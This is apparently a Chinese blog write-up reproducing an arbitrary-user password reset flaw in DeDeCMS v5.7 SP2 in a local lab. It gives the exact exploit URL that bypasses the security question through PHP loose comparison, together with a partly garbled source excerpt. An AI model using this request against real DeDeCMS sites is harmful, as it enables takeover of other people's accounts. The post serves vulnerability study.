DeDeCMS v5.7 SP2 前台任意用户密码修改漏洞复现

DeDeCMS v5.7 SP2 前台任意用户密码修改漏洞复现

一、漏洞概述

1.简介

织梦内容管理系统(DedeCms) [1] 以简单、实用、开源而闻名,是国内最知名的 PHP 开源网站管理系统,也是使用用户最多的 PHP 类 CMS 系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms 免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。

2.漏洞限制

1、 只影响前台账户

2、 只能修改未设置安全问题的账户

3.影响版本

DeDeCMSV5.7SP2 正式版(2018-01-09)

二、环境搭建

1.下载DeDeCMS v5.7 SP2源码

在这里插入图片描述
实验环境:window 10

​ php5.6+mysql

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m3aY5dD5-1637757098404)(C:/Users/16229/AppData/Roaming/Typora/typora-user-images/image-20211124171858593.png)]

三、复现过程

开启会员功能,注册一个一个账号且不要设置安全问题,因为这个漏洞的基础就是没有安全问题

在这里插入图片描述
在这里插入图片描述

另外还发现注册时不对电子邮箱进行检测
在这里插入图片描述

记住该用户uid=2

127.0.0.1/dedeCMS5.7/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2

直接使用bp抓包,可以得到key

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mpPuqXCn-1637757098412)(C:/Users/16229/AppData/Roaming/Typora/typora-user-images/image-20211124202500562.png)]

得到的key就是这里的临时验证码,输入即可直接修改密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T74Stnan-1637757098413)(C:/Users/16229/AppData/Roaming/Typora/typora-user-images/image-20211124202546456.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R8R43Fah-1637757098414)(C:/Users/16229/AppData/Roaming/Typora/typora-user-images/image-20211124202700119.png)]

源码分析

else if($dopost == “safequestion”)

{
$mid = preg_replace("#[^0-9]#", “”, $id);

KaTeX parse error: Expected 'EOF', got '#' at position 57: …rid,email FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne(db−>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{sn($mid, $row[‘userid’], $row[‘email’],N);exit();

}

else

{ShowMsg(“对不起,您的安全问题或答案回答错误”,"-1");exit();

}

}

#就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{
sn($mid, $row[‘userid’], $row[‘email’],N);

exit();

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值